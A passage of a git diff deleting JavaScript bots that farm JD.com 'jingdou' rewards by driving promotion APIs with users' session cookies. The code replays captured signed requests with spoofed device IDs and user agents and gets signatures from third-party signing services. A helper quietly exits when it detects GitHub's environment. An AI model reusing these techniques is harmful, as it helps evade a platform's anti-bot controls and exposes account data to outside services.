$.oneJumpInfo = {}; - $.rewardList = []; - let oldReward = 0; - let newReward = 0; - await getOneJumpInfo(); - if (JSON.stringify($.oneJumpInfo) === '{}') { - console.log(`获取ID为${$.jumpId}的活动详情失败`); - continue; - } - $.jumpName = $.oneJumpInfo.jumpActivityDetail.name; - if ($.oneJumpInfo.userInfo.userState === 'received') { - console.log(`${$.jumpName},活动已结束,已参与瓜分`); - console.log(`\n`); - continue; - } else if ($.oneJumpInfo.userInfo.userState === 'unreceive') { - $.shareBean = 0; - //瓜分 - console.log(`${$.jumpName},瓜分京豆`); - await receive(); - await $.wait(2000); - await rewards(); - console.log(`瓜分获得${$.shareBean}京豆\n`); - continue; - } else if ($.nowTime > $.oneJumpInfo.jumpActivityDetail.endTime) { - console.log(`${$.jumpName},活动已结束`); - console.log(`\n`); - continue; - } else if ($.oneJumpInfo.userInfo.userState === 'complete') { - console.log(`${$.jumpName},已到达终点,等待瓜分,瓜分时间:${new Date($.oneJumpInfo.jumpActivityDetail.endTime)} 之后`); - console.log(`\n`); - break; - } else if ($.oneJumpInfo.userInfo.userState === 'playing') { - console.log(`开始执行活动:${$.jumpName},活动时间:${new Date($.oneJumpInfo.jumpActivityDetail.startTime).toLocaleString()}至${new Date($.oneJumpInfo.jumpActivityDetail.endTime).toLocaleString()}`); - } else {//complete - console.log(`异常`); - continue; - } - await $.wait(1000); - await getBeanRewards(); - oldReward = await getReward(); - console.log(`已获得京豆:${oldReward}`); - await $.wait(1000); - $.taskList = []; - await getTaskList(); - await $.wait(1000); - await doTask(); - if ($.oneJumpInfo.userInfo.gridTaskDone === false) { - await domission(); - } - await $.wait(1000); - await getOneJumpInfo(); - let flag = true; - if ($.oneJumpInfo.userInfo.diceLeft === 0) { - console.log(`骰子数量为0`); - } - let runTime = 0; - while ($.oneJumpInfo.userInfo.diceLeft > 0 && flag && runTime < 10) { - //丢骰子 - await throwDice(); - if ($.gridType && ($.gridType === 'boom' || $.gridType === 'road_block' || $.gridType === 'join_member' || $.gridType === 'add_cart')) break; - await $.wait(3000); - switch ($.gridType) { - case 'give_dice': - case 'empty': - case 'lose_dice': - case 'cart_bean': - case 'arrow': - //不用处理 - break; - case 'go_back': - case 'go_ahead': - await throwDice(); - await $.wait(2000); - await getOneJumpInfo(); - if ($.oneJumpInfo.userInfo.gridTaskDone === false) { - await domission(); - } - break; - case 'follow_channel': - case 'scan_good': - case 'add_cart': - case 'join_member': - case 'boom': - case 'road_block': - case 'follow_shop': - await domission(); - break; - case 'destination': - flag = false; - console.log('到达终点'); - break; - default: - flag = false; - console.log('未判断情况'); - } - await $.wait(2000); - await getOneJumpInfo(); - runTime++; - } - newReward = await getReward(); - console.log(`执行结束,本次执行获得${newReward - oldReward}京豆,共获得${newReward}京豆`); - console.log(`\n`); - await $.wait(2000); - } -} - -async function rewards() { - const myRequest = getGetRequest('rewards', `activityId=${$.jumpId}`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - //console.log(data); - if (data) { - data = JSON.parse(data); - if (data.success === true) { - let rewardList = data.datas; - for (let i = 0; i < rewardList.length; i++) { - if (rewardList[i].activityId === $.jumpId) { - $.shareBean = rewardList[i].shareBean; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function getReward() { - await getBeanRewards(); - let reward = 0; - for (let j = 0; j < $.rewardList.length; j++) { - reward += Number($.rewardList[j].value); - } - return reward; -} - -//做任务 -async function domission() { - console.log('执行骰子任务'); - const myRequest = getGetRequest('doTask', `activityId=${$.jumpId}`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function throwDice() { - console.log('丢骰子'); - const myRequest = getGetRequest('throwDice', `activityId=${$.jumpId}&fp=&eid=`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - //console.log(data); - if (data) { - data = JSON.parse(data); - $.gridType = data.data.gridInfo && data.data.gridInfo.gridType; - console.log(`丢骰子结果:${$.gridType}`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve($.gridType); - } - }) - }) -} - -async function getBeanRewards() { - const myRequest = getGetRequest('getBeanRewards', `activityId=${$.jumpId}`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - $.rewardList = data.datas; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//做任务 -async function doTask() { - let addFlag = true; - for (let i = 0; i < $.taskList.length; i++) { - let oneTask = $.taskList[i]; - if (oneTask.state === 'finished') { - console.log(`${oneTask.content},已完成`); - continue; - } - if (oneTask.gridTask === 'add_cart' && oneTask.state === 'unfinish' && addFlag) { - if (oneTask.gridTask === 'add_cart' && !['car','card'].includes(process.env.FS_LEVEL)) { - console.log(`不做:【${oneTask.content}】 任务`) - continue - } - console.log(`开始执行任务:${oneTask.content}`); - let skuList = []; - for (let j = 0; j < oneTask.goodsInfo.length; j++) { - skuList.push(oneTask.goodsInfo[j].sku); - } - skuList.sort(sortNumber); - await addCart(skuList); - addFlag = false; - } - } -} - -async function addCart(skuList) { - let body = `{"activityId":"${$.jumpId}","skuList":${JSON.stringify(skuList)}}`; - const myRequest = getPostRequest('addCart', body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.success === true) { - console.log(`任务执行成功`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取任务列表 -async function getTaskList() { - const myRequest = getGetRequest('getTools', `activityId=${$.jumpId}&reqSource=h5`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.success === true) { - $.taskList = data.datas; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function receive() { - const myRequest = getGetRequest('receive', `activityId=${$.jumpId}`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.success === true) { - console.log(`瓜分成功`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取活动信息 -async function getOneJumpInfo() { - const myRequest = getGetRequest('getHomeInfo', `activityId=${$.jumpId}`); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.success === true) { - $.oneJumpInfo = data.data; - //console.log(JSON.stringify($.oneJumpInfo)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取活动列表 -async function getGameList() { - const myRequest = getGetRequest('getGameList', 'pageSize=8&pageNum=1'); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.success === true) { - $.jumpList = data.datas; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function getGetRequest(type, body) { - const url = `https://jdjoy.jd.com/jump/${type}?${body}`; - const method = `GET`; - const headers = { - 'Cookie': cookie, - 'Accept': `*/*`, - 'Connection': `keep-alive`, - 'Referer': `https://jdjoy.jd.com/dist/taro/index.html/`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Host': `jdjoy.jd.com`, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': `zh-cn` - }; - return {url: url, method: method, headers: headers}; -} - -function getPostRequest(type, body) { - const url = `https://jdjoy.jd.com/jump/${type}`; - const method = `POST`; - const headers = { - 'Accept': `*/*`, - 'Origin': `https://jdjoy.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': cookie, - 'Content-Type': `application/json`, - 'Host': `jdjoy.jd.com`, - 'Connection': `keep-alive`, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': `https://jdjoy.jd.com/dist/taro/index.html/`, - 'Accept-Language': `zh-cn` - }; - return myRequest = {url: url, method: method, headers: headers, body: body}; -} - -function sortNumber(a, b) { - return a - b -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_live.js b/jd_live.js deleted file mode 100644 index bc7614abc..000000000 --- a/jd_live.js +++ /dev/null @@ -1,393 +0,0 @@ -/* -京东直播 -活动结束时间未知 -活动入口:京东APP首页-京东直播 -地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ -随机定时跑一次 或者自行定时 -5 12 - */ - -const $ = new Env('京东直播'); -const notify = $.isNode() ? require('./sendNotify') : ''; - -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 - -let cookiesArr = [], cookie = '', message; -let uuid -let jdPandaToken = ''; -jdPandaToken = $.isNode() ? (process.env.PandaToken ? process.env.PandaToken : `${jdPandaToken}`) : ($.getdata('PandaToken') ? $.getdata('PandaToken') : `${jdPandaToken}`); - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - if (!jdPandaToken) { - console.log('请填写Panda获取的Token,变量是PandaToken'); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - uuid = randomString(40) - - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await jdHealth() - await $.wait(15000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdHealth() { - $.bean = 0 - await getTaskList() - await sign() - message += `领奖完成,共计获得 ${$.bean} 京豆\n` - await showMsg(); -} - -function getTs() { - return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`\n\n京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -// 开始看 -function getTaskList() { - let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000} - return new Promise(resolve => { - $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.starLiveList) { - for (let key of Object.keys(data.data.starLiveList)) { - let vo = data.data.starLiveList[key] - if (vo.state !== 3) { - let authorId = (await getauthorId(vo.extra.liveId)).data.author.authorId - await superTask(vo.extra.liveId, authorId) - await awardTask("starViewTask", vo.extra.liveId) - } - } - } - console.log(`去做分享直播间任务`) - await shareTask() - await $.wait(1500); - await awardTask() - await $.wait(1500); - console.log(`去做浏览直播间任务`) - await viewTask() - await $.wait(1500); - await awardTask("commonViewTask") - await $.wait(1500); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function getauthorId(liveId) { - let functionId = `liveDetailV910` - let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"fromId":"","liveList":[],"sku":"","source":"17","d":"","direction":"","isNeedVideo":1})) - let uuid = randomString(16) - // let sign = await getSign(functionId, decodeURIComponent(body), uuid) - let sign = await getSignfromPanda(functionId, body) - let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` - return new Promise(resolve => { - $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function superTask(liveId, authorId) { - let functionId = `liveChannelReportDataV912` - let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"type":"viewTask","authorId":authorId,"extra":{"time":60}})) - let uuid = randomString(16) - // let sign = await getSign(functionId, decodeURIComponent(body), uuid) - let sign = await getSignfromPanda(functionId, body) - let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` - return new Promise(resolve => { - $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function viewTask() { - let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' - return new Promise(resolve => { - $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function shareTask() { - let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' - return new Promise(resolve => { - $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function awardTask(type="shareTask", liveId = '2942545') { - let body = {"type":type,"liveId":liveId} - return new Promise(resolve => { - $.post(taskUrl("getChannelTaskRewardToM", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === "0") { - $.bean += data.sum - console.log(`任务领奖成功,获得 ${data.sum} 京豆`); - message += `任务领奖成功,获得 ${data.sum} 京豆\n` - } else { - console.log(`任务领奖失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function sign() { - return new Promise(resolve => { - $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === "0") { - $.bean += data.sum - console.log(`签到领奖成功,获得 ${data.sum} 京豆`); - message += `任务领奖成功,获得 ${data.sum} 京豆\n` - } else { - console.log(`任务领奖失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getSign(functionid, body, uuid) { - return new Promise(async resolve => { - let data = { - "functionId":functionid, - "body":body, - "uuid":uuid, - "client":"apple", - "clientVersion":"10.1.0" - } - let Host = "" - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - if (process.env.SIGN_URL) { - Host = process.env.SIGN_URL - } else { - Host = HostArr[Math.floor((Math.random() * HostArr.length))] - } - let options = { - url: `https://cdn.nz.lu/ddo`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 15000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSign API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}, url=null) { - if (url && (function_id === "liveChannelReportDataV912" || function_id === "liveDetailV910")) body = `body=${body}` - if(!url) url = `https://api.m.jd.com/client.action?functionId=${function_id}` - return { - url: url, - body: body, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Accept": "*/*", - "Referer": "", - "Cookie": cookie, - "Origin": "https://h5.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - "Content-Length": "996", - "User-Agent": 